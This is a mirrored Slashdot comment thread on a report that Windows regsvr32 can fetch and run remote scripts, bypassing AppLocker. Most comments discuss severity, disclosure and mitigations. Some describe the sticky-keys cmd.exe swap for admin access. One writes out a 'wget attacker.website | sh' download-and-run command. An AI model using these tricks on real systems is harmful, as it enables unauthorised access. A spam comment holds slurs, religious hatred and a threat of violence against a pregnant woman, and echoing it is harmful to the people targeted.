Slashdot Mirror
Core Windows Utility Can Be Used To Bypass Whitelisting (threatpost.com)
Reader msm1267 writes: A core Windows command-line utility, Regsvr32, used to register DLLs to the Windows Registry can be abused to run remote code from the Internet, bypassing whitelisting protections such as Microsoft's AppLocker. A researcher who requested anonymity found and recently privately disclosed the issue to Microsoft. It's unknown whether Microsoft will patch this issue with a security bulletin, or in a future release. Regsvr32, also known as Microsoft Register Server, is a Microsoft-signed binary that runs as default on Windows. The researcher's proof-of-concept allows him to download and run JavaScript or VBScript from a URL provided via the command line. "There's really no patch for this; it's not an exploit. It's just using the tool in an unorthodox manner. It's a bypass, an evasion tactic," the researcher said.The Register reports: "It's built-in remote code execution without admin rights and which bypasses Windows whitelisting. I'd say it's pretty bad," said Alex Ionescu, a Windows and ARM kernel guru. The trick -- Smith didn't want to call it an exploit -- is neat because it does not touch the Registry, does not need administrator rights, can be wrapped up in an encrypted HTTP session, and should leave no trace on disk as it's a pure to-memory download. No patch exists for this, although regsvr32 can be firewalled off from the internet. Microsoft was not available for immediate comment.
It sounds like this is one of the back doors put there for Micro$oft to use. The only flaw is that it was found.
Make yourself administrator from the login screen by replacing the sticky keys executable with cmd.exe.
to never ever connect windows anything to the internet.
A researcher who requested anonymity found and recently privately disclosed the issue to Microsoft.
If you want news from today, you have to come back tomorrow.
easy.
Windows System File checker will put that back.
Don't all browsers have url javascript shut off by default?
_ _ _ Go for the eyes Boo! GO FOR THE EYES!
You need to run regsvr32 with admin rights anyway. If you're dumb enough to register an unsafe/unknown component you deserve to get hacked.
Harrison's Postulate - "For every action there is an equal and opposite criticism"
Shellshock and the recent glibc vulnerabilities were big deals because Linux-stacks are widely expected to be secure. On the other hand, the Microsoft ecosystem is so plagued with exploits and vulnerabilities, that Slashdot would consist of nothing but security advisories for Windows if we reported all of them.
Just lay off the serious stuff and have a good weekend.
Pig in a Poke!
Oink! Oink! We'll be pigs!
Modern app appers know that ONLY apps can app apps, so ditch this LUDDITE software and start apping apps!
Apps!
Sure glad I dumped Windows about 5 years ago. I used/supported it for nearly 20 years, but after I retired in 2010, I decided I was done with it.. Looks like I made the right decision...
THANK YOU, Edward Snowden!! Americans owe you a debt of gratitude (whether they know it or not..)
The Disable Advertising checkbox does not work.
I would think this can bypass Bit9 as well, since regsvr32 is a common windows component and allowed. Anyone got a different opinion?
It's a PowerShell command: New-NetFirewallRule -DisplayName "Block Regsrvr32" -Program "%SystemRoot%\System32\regsvr32.exe" -Direction Outbound -Action Block
ASCII tastes bad dude.
Binary it is then.
I'd laugh, except the regular "exploit du jour" thing just isn't funny any more.
Honestly, Windows has more holes than a Chinese whorehouse. Is it ever going to be a secure operating system?
Just cruising through this digital world at 33 1/3 rpm...
The only way to avoid Windows bugs is... Not using it. Oh BTW, soon the little turd will passby showing her fucked cunt as a peacock, the I deny because I'm not a retard, then her "order of the little shit" friends will troll me the rest of the day.
Dudes, I don't give a fuck. For me, that retarded cunt can commit suicide that I don't have any remorse. A will be happy knowing she died.
I'm a satanist. Therefore I hate child abuse and wish a violent death upon the ones who hurt kids. Also, I don't wanna kgo o heaven, so any catholic retard who believes in redemption, or any fucked jew willing to steal my ideas, are not welcome in my life. Mainly retarded girls who don't have a brain to have a conversation. I will never change my opinion because forgiveness is nothing but opening a door to be betrayed.
I'm proud of joining the chat room that day and lying that I commited suicide. If your retarded son tried to commit suicide and now had to cut his penis off to justify being a cock junkie, It's not my problem. I did it once, and I can do it again, just like this:
If that retarded came to live here because whe wants to observe me before she dies, because she dreams about reincarnating as my daughter, she is wronge, because I'm never having a child. If someone get pregtant, I kick the retarded belly until it abort, because I don't want contact with this retarded little shit not in this life, nor even on another.
So basically the guy hat wrote the article had not read the TechNet article that Microsoft wrote about AppLocker's restrictions.
https://technet.microsoft.com/...
AppLocker rules either allow or prevent an application from launching. AppLocker does not control the behavior of applications after they are launched. Applications could contain flags passed to functions that signal AppLocker to circumvent the rules and allow another .exe or .dll to be loaded. In practice, an application that is allowed by AppLocker could use these flags to bypass AppLocker rules and launch child processes. You must thoroughly examine each application before allowing them to run by using AppLocker rules.
And how did you replace that file to begin with?
I was a bit surprised to see this researcher has published complete details of how to exploit this, such as a sample XML file for launching cmd.exe. I don't see any indication that Casey Smith attempted to report this in a responsible way, or to give the vendor a chance to respond. This kind of disclosure could potentially do a lot of harm.
regsvr32 does not understand DLLs. scrobj.dll does... the contents of the /i switch are passed in to the DLL. Looks like the DLL is the one with the problem.Documentation
I expect most admins can simply block or remove the DLL with little impact on their system unless they are running some obscure program that requires it. Or, as another user suggested, firewall regsvr32 so it can't download files.
Soooo...remove execute permission for the binary from everyone but administrators? Problem solved?
You need to use the recovery disk to boot off. Any recovery disk will do. Then you go into the repair console...
http://lifehacker.com/5612487/hack-the-sticky-keys-feature-to-reset-a-forgotten-windows-password
don't see any indication that Casey Smith attempted to report this in a responsible way, or to give the vendor a chance to respond.
1. why are we not surprised that you don't see any indication of what would have been a private conversation
2. yes indeed, we are all better off when there is a nice long period of time when users are vulnerable and clueless
So not a remote exploit. Move along.
Can't you just rename the damn file to something else?
*nm*
...This is a guy that participated in the development of ReactOS. It seems he's pretty smart. A pity he abandoned the project. It really needs people like him.
Install OpenBSD on all hosts on your LAN. Install pfSense for a router, install and enable Snort IDPS.
Read stories about windows users getting owned by this kind of stuff and shake my damn head, family.
easy.
wget https://www.attacker.website | sh
If you're able to run terminal commands, it's already game over.
yeah but.. shake your damn head AND FAMILY? Dare I ask?
See subject: Can they do 16 things hosts do 4 speed, security & reliability (+ more efficiently)?
1.) Protect vs. bad sites (past ads)
2.) Protect vs. fastflux botnets + stop C&C talk
3.) Protect vs. dyn dns botnets + stop C&C talk
4.) Protect vs. DGA botnets + stop C&C talk
5.) Protect vs. downed DNS (reliability)
6.) Protect vs. DNS redirect poisoning
7.) Protect vs. trackers
8.) Protect vs. spam payload links
9.) Protect vs. phish payload links
10.) Protect vs. caps
11.) Get past dns blocks
12.) Avoid dnsrequest logs
13.) Speed up surfing (adblock & hardcodes)
14.) Works on anything webbound multiplatform.
15.) EZ datacontrol
16.) Block ads more efficiently
Answer's NO on addons + hosts = on devices natively - not illogically inefficiently "Bolting on 'MoAr'".
(Ads on same site = rare: Admen don't trust webmasters)
Addons = blockable by ClarityRay by native browser methods: Untrue for hosts.
APK
P.S.=> Hosts != crippled & 'souled-out' to advertisers like "AlmostALLAdsBlocked"
APK Hosts File Engine 9.0++ SR-4 32/64-bit http://www.bing.com/search?q=%...
Less power/cpu/ram + IO use + complexity vs. local DNS, routers & antivirus w/ less security issues. Compliments firewalls (no layered drivers firewalls use blocking less used IP addys, hosts block more used hostnames) & DNS (lightens dns load). Gets data via 10 security sites.
Works vs. HTTP PUSH ads in Chrome w/ firewalls.
* Ads rob speed you pay for, security (openbid ad networks malware makers abuse), privacy in tracking + anonymity.
(Hosts gain speed (hardcodes + adblocks), security (vs. bad sites/poisoned dns), reliability (vs. downed dns), & anonymity (dns requestlogs/trackers) w/ what you natively have. Hosts != blockable by ClarityRay like Adblock/UBlock/Ghostery)
APK
P.S. - Proven safe https://www.virustotal.com/en/...
(Verified by Mr. S. Burn of Malwarebytes: "I've seen the code & yes it is safe" http://forum.hosts-file.net/vi... )
The 1% want it to be as it is. Think yourself why.
Might help in your condition. Go for it.
there is freebsd.
and oberon.
as soon as the commie hipsters, in the pay of 1%, show up somewhere, we have moved on.
You have not already done that?
The Register article has a bit more information. This isn't really a vulnerability. It's definitely not "remote code execution". It works like this:
- Microsoft provides a tool called AppLocker that can be used to limit the programs that can be run on a system.
- The AppLocker tool is not intended as a tight "security boundary". Instead, it is a way to implement company policies like "no playing games at work", or to help with software licensing, i.e. "the company system image has a copy of Photoshop, but you aren't in the Design department, so you aren't licensed to run it", and perhaps to reduce attack surface area.
- The Microsoft-provided sample AppLocker configuration (intended to show the syntax for AppLocker rules) happens to have a sample rule that whitelists all programs under C:\windows. This is not a "recommended" rule -- it's a "sample" rule.
- If you leave this rule in, there are a large number of ways to escape the sandbox.
- A researcher found another one. Yay, I guess?
The new one is interesting because I wouldn't have considered regsvr32 to be a command that allows for running of arbitrary other commands. On the other hand, it shouldn't belong in a production whitelist in the first place, so being able to use it to escape the sandbox isn't particularly interesting.
Time flies like an arrow. Fruit flies like a banana.
See subject: Can they do 16 items hosts do 4 speed, security & reliability (more efficiently)?
1.) Protect vs. bad sites (past ads)
2.) Protect vs. fastflux botnets + stop C&C talk
3.) Protect vs. dyn dns botnets + stop C&C talk
4.) Protect vs. DGA botnets + stop C&C talk
5.) Protect vs. downed DNS (reliability)
6.) Protect vs. DNS poisoning
7.) Protect vs. trackers
8.) Protect vs. spam payload links
9.) Protect vs. phish payload links
10.) Protect vs. caps
11.) Get past dns blocks
12.) Avoid dnsrequest logs
13.) Speed up surfing (adblock & hardcodes)
14.) Works on anything webbound multiplatform.
15.) EZ datacontrol
16.) Block ads more efficiently
Answer's NO on addons doing it or @ ALL + hosts = on devices natively - not illogically inefficiently "Bolting on 'MoAr'".
(Ads on same site = rare: Admen don't trust webmasters)
Addons = ClarityRay blockable by native browser methods: Untrue for hosts.
APK
P.S.=> Hosts != crippled & 'souled-out' to admen like "AlmostALLAdsBlocked"
In the proof of concept regsvr32.exe is neither used to download a scriptlet nor to register a DLL on the local machine! /I option just passes any string AS-IS to the DllInstall() routine of the DLL called by regsvr32.exe .SCT file.
Do your homework and read https://support.microsoft.com/en-us/kb/249873 plus https://msdn.microsoft.com/en-us/library/bb759846.aspx: the
It's but scrobj.dll which downloads the scriptlet and eventually runs the embedded JScript or VBScript.
To be clear: scrobj.dll is DESIGNED to run JScript or VBScript embedded in a
The bypass of AppLocker as well as SAFER to run arbitrary JScript or VBScript, but not arbitrary executables, is due to the fact that scrobj.dll is not a component of the Windows script host. ...).
The latter uses AppLocker or SAFER to determine if execution of scripts (independent of their file extension) is allowed or blocked, the former does not (just like other applications which execute JScript or VBScript, for example mshta.exe, any web browser,
Also note: neither regsvr32.exe nor the JScript/VBScript run via scrobj.dll can run and register DLLs or execute EXEs blocked by AppLocker or SAFER!